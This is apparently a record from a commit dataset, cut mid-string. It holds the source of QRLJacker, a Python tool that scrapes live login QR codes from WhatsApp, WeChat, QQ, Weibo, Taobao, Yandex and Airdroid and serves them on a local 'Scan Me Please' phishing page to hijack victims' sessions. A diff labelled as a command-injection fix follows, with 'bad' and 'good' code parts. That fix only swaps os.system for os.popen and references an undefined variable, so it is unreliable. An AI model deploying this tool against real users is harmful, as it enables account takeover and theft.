\t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tAirdroid() \t\t\tmain() \t \tif choice==7: \t\tprint \"\"\" 1.MyDigiPass 2.Zapper 3.Trustly App 4.Yelophone 5.Alibaba Yunos 00.Back To Main Menu \"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \t \t\t \t\t \t\t \t\t if __name__=='__main__': \tmain() ", "sourceWithComments": "#!/usr/bin/env python\n#-*- encoding:utf-8 -*-\n#Author:D4Vinci\nimport base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\nfrom selenium import webdriver\nfrom binascii import a2b_base64\nfrom PIL import Image\n\n#settings = configparser.ConfigParser()\n\ndef Serve_it(port=1337):\n\tdef serve(port):\n\t\tif os.name==\"nt\":\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n\t\telse:\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n\tthreading.Thread(target=serve,args=(port,)).start()\n\ndef create_driver():\n\ttry:\n\t\tweb = webdriver.Firefox()\n\t\tprint \" [+]Opening Mozila FireFox...\"\n\t\treturn web\n\texcept:\n\t\tweb = webdriver.Chrome()\n\t\tprint \" [+]Opening Google Chrome...\"\n\t\treturn web\n\n#Stolen from stackoverflow :D\ndef Screenshot(PicName ,location ,size):\n\timg = Image.open(PicName)#screenshot.png\n\tleft = location['x']\n\ttop = location['y']\n\tright = left + size['width']\n\tbottom = top + size['height']\n\tbox = (int(left), int(top), int(right), int(bottom))\n\tfinal = img.crop(box) # defines crop points\n\tfinal.load()\n\tfinal.save(PicName)\n\ndef whatsapp():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get('https://web.whatsapp.com/')\n\ttime.sleep(5)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name('qr-button')\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\n\t\ttry:\n\t\t\timg = driver.find_elements_by_tag_name('img')[0]\n\t\t\tsrc = img.get_attribute('src').replace(\"data:image/png;base64,\",\"\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tbinary_data = a2b_base64(src)\n\t\t\tqr = open(\"tmp.png\",\"wb\")\n\t\t\tqr.write(binary_data)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\tqr.close()\n\t\t\ttime.sleep(5)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\n#make(\"svg\")\ndef Yandex():\n\tprint \"\\n-- --- -- --- -- --- -- --- -- --- --\"\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://passport.yandex.com/auth?mode=qr\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timg_url = \"https://passport.yandex.com\" + driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tdata = urllib.urlopen(img_url).read()\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tf = open(\"tmp.svg\",\"w\").write(data)\n\t\t\tprint \" [#]Saved To tmp.svg\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Airdroid():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://web.airdroid.com\")\n\ttime.sleep(5)\n\timg_number = 16\n\trefresh = 0\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[img_number]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tif refresh == 0:\n\t\t\t\tprint \" [!]Refreshing page...\"\n\t\t\t\tdriver.refresh()\n\t\t\t\trefresh = 1\n\t\t\timg_number = 15\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Weibo():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://weibo.com/login.php\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[len(imgs)-1]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef WeChat():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://web.wechat.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef QQ():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://w.qq.com\")\n\ttime.sleep(10)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tdriver.save_screenshot('tmp.png') #screenshot entire page\n\t\t\timg = driver.find_elements_by_tag_name(\"img\")[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tlocation = img.location\n\t\t\tsize = img.size\n\t\t\tprint \" [+]Grabbing photo..\"\n\t\t\tScreenshot(\"tmp.png\" ,location ,size)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\twebdriver.delete_all_cookies()\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Taobao():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://login.taobao.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton_class = web.find_element_by_class_name(\"msg-err\")\n\t\t\tbutton = button_class.find_elements_by_tag_name(\"a\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef make(typ=\"html\"):\n\tif typ == \"html\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n\"Scan
    \n\"\"\"\n\n\tif typ == \"svg\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n
    \n\"\"\"\n\tf = open(\"index.html\",\"w\")\n\tf.write(code)\n\tf.close()\n\ndef Simple_Exploit(classname,url,image_number,s=10):\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(url)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tlogin = driver.find_element_by_class_name(classname)\n\t\t\timg = login.find_elements_by_tag_name('img')[int(image_number)]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(s)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef clear():\n\tif os.name == \"nt\":\n\t\tos.system(\"cls\")\n\telse:\n\t\tos.system(\"clear\")\n\ndef main():\n\t#clear()\n\tprint \"\"\"\\n\n\t ___ _ _ _\n\t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __\n\t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__|\n\t| |_| || | | | | |_| || (_| || (__ | <| __/| |\n\t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_|\n\n# Hacking With Qrljacking Attack Vector Become Easy\n# Coded By karim Shoair | D4Vinci\n\n Vulnerable Web Applications and Services:\n 1.Chat Applications\n 2.Mailing Services\n 3.eCommerce\n 4.Online Banking\n 5.Passport Services\n 6.Mobile Management Software\n 7.Other Services\n 8.Customization\n\"\"\"\n\tchoice = input(\" Choice > \")\n\n\t#Chat Applications\n\tif choice == 1:\n\t\tprint \"\"\"\n 1.WhatsApp\n 2.WeChat\n 3.Line\n 4.Weibo\n 5.QQ Instant Messaging\n 00.Back To Main Menu\n\t\"\"\"\n\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\t#Whatsapp\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\twhatsapp()\n\t\t\tmain()\n\n\t\t#Wechat\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeChat()\n\t\t\tmain()\n\n\t\t#3\n\n\t\t#Weibo\n\t\telif int(choice_2) == 4:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeibo()\n\t\t\tmain()\n\n\t\telif int(choice_2) == 5:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tQQ()\n\t\t\tmain()\n\n\t#Mailing Services\n\tif choice == 2:\n\t\tprint \"\"\"\n 1.QQ Mail\n 2.Yandex Mail\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake(\"svg\")\n\t\t\tServe_it(port)\n\t\t\tYandex()\n\t\t\tmain()\n\n\t#eCommerce\n\tif choice == 3:\n\t\tprint \"\"\"\n 1.Alibaba\n 2.Aliexpress\n 3.Taobao\n 4.Tmall\n 5.1688.com\n 6.Alimama\n 7.Taobao Trips\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 3:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t\t#4\n\n\t\t#5\n\n\t\t#6\n\n\t\telif int(choice_2) == 7:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t#Online Banking\n\tif choice == 4:\n\t\tprint \"\"\"\n 1.AliPay\n 2.Yandex Money\n 3.TenPay\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Passport Services\n\tif choice == 5:\n\t\tprint \"\"\"\n 1.Yandex Passport\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Mobile Management Software\n\tif choice == 6:\n\t\tprint \"\"\"\n 1.Airdroid\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tAirdroid()\n\t\t\tmain()\n\n\t#Other Services\n\tif choice == 7:\n\t\tprint \"\"\"\n 1.MyDigiPass\n 2.Zapper\n 3.Trustly App\n 4.Yelophone\n 5.Alibaba Yunos\n 00.Back To Main Menu\n\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Customization\n\t#if choice == 8:\n\t\t#settings.read(\"Data/Simple.ini\")\n\t\t#url = settings.get(\"WeChat\",\"url\")\n\t\t#image_number = settings.get(\"WeChat\",\"image_number\")\n\t\t#classname = settings.get(\"WeChat\",\"classname\")\nif __name__ == '__main__':\n\tmain()\n"}}, "msg": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n...."}}, "https://github.com/vaginessa/QRLJacking": {"a101472db88764a0d031ef85fa283967b0692a77": {"url": "https://api.github.com/repos/vaginessa/QRLJacking/commits/a101472db88764a0d031ef85fa283967b0692a77", "html_url": "https://github.com/vaginessa/QRLJacking/commit/a101472db88764a0d031ef85fa283967b0692a77", "message": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n....", "sha": "a101472db88764a0d031ef85fa283967b0692a77", "keyword": "command injection issue", "diff": "diff --git a/QrlJacking-Framework/QRLJacker.py b/QrlJacking-Framework/QRLJacker.py\nindex 81260e9..9538f70 100644\n--- a/QrlJacking-Framework/QRLJacker.py\n+++ b/QrlJacking-Framework/QRLJacker.py\n@@ -1,10 +1,40 @@\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n@@ -12,10 +42,10 @@ def Serve_it(port=1337):\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n@@ -24,9 +54,28 @@ def create_driver():\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n@@ -282,12 +331,6 @@ def Simple_Exploit(classname,url,image_number,s=10):\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n@@ -331,7 +374,13 @@ def main():\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "files": {"/QrlJacking-Framework/QRLJacker.py": {"changes": [{"diff": "\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n", "add": 33, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser", "from selenium import webdriver", "from PIL import Image"], "goodparts": ["import base64 ,time ,os ,urllib ,sys ,threading ,configparser", "def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")", "try:", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver", "except:", "\tprint \"[!] Error Importing Exterinal Libraries\"", "\tprint \"[!] Trying to install it using pip\"", "\ttry:", "\t\tos.popen(\"python -m pip install selenium\")", "\t\tos.popen(\"python -m pip install Pillow\")", "\texcept:", "\t\ttry:", "\t\t\tos.popen(\"pip install selenium\")", "\t\t\tos.popen(\"pip install Pillow\")", "\t\texcept:", "\t\t\tprint \"[!] Can't install libraries \"", "\t\t\tprint \"[!!] Try to install it yourself\"", "\t\t\texit(0)", "finally:", "\tclear()", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver"]}, {"diff": "\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n", "add": 2, "remove": 2, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"], "goodparts": ["\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"]}, {"diff": "\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n", "add": 22, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\tweb = webdriver.Chrome()", "\t\tprint \" [+]Opening Google Chrome...\"", "\t\treturn web"], "goodparts": ["\t\ttry:", "\t\t\tweb = webdriver.Chrome()", "\t\t\tprint \" [+]Opening Google Chrome...\"", "\t\t\treturn web", "\t\texcept:", "\t\t\ttry:", "\t\t\t\tweb = webdriver.Opera()", "\t\t\t\tprint \" [+]Opening Opera...\"", "\t\t\t\treturn web", "\t\t\texcept:", "\t\t\t\ttry:", "\t\t\t\t\tweb = webdriver.Edge()", "\t\t\t\t\tprint \" [+]Opening Edge...\"", "\t\t\t\t\treturn web", "\t\t\t\texcept:", "\t\t\t\t\ttry:", "\t\t\t\t\t\tweb = webdriver.Ie()", "\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"", "\t\t\t\t\t\treturn web", "\t\t\t\t\texcept:", "\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"", "\t\t\t\t\t\texit(0)"]}, {"diff": "\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n", "add": 0, "remove": 6, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")"], "goodparts": []}, {"diff": "\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "add": 7, "remove": 1, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tif port == \"\":port = 1337"], "goodparts": ["\t\t\ttry:", "\t\t\t\tint(userInput)", "\t\t\texcept ValueError:", "\t\t\t\tport = 1337", "\t\t\tif port == \"\":", "\t\t\t\tport = 1337"]}], "source": "\n import base64,time,selenium,os,urllib,sys,threading,configparser from selenium import webdriver from binascii import a2b_base64 from PIL import Image def Serve_it(port=1337): \tdef serve(port): \t\tif os.name==\"nt\": \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\") \t\telse: \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\") \tthreading.Thread(target=serve,args=(port,)).start() def create_driver(): \ttry: \t\tweb=webdriver.Firefox() \t\tprint \"[+]Opening Mozila FireFox...\" \t\treturn web \texcept: \t\tweb=webdriver.Chrome() \t\tprint \"[+]Opening Google Chrome...\" \t\treturn web def Screenshot(PicName,location,size): \timg=Image.open(PicName) \tleft=location['x'] \ttop=location['y'] \tright=left +size['width'] \tbottom=top +size['height'] \tbox=(int(left), int(top), int(right), int(bottom)) \tfinal=img.crop(box) \tfinal.load() \tfinal.save(PicName) def whatsapp(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get('https://web.whatsapp.com/') \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name('qr-button') \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timg=driver.find_elements_by_tag_name('img')[0] \t\t\tsrc=img.get_attribute('src').replace(\"data:image/png;base64,\",\"\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tprint \"[+]Downloading the image..\" \t\t\tbinary_data=a2b_base64(src) \t\t\tqr=open(\"tmp.png\",\"wb\") \t\t\tqr.write(binary_data) \t\t\tprint \"[ \t\t\tqr.close() \t\t\ttime.sleep(5) \t\t\tcontinue \t\texcept: \t\t\tbreak def Yandex(): \tprint \"\\n---------------------------\" \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://passport.yandex.com/auth?mode=qr\") \ttime.sleep(5) 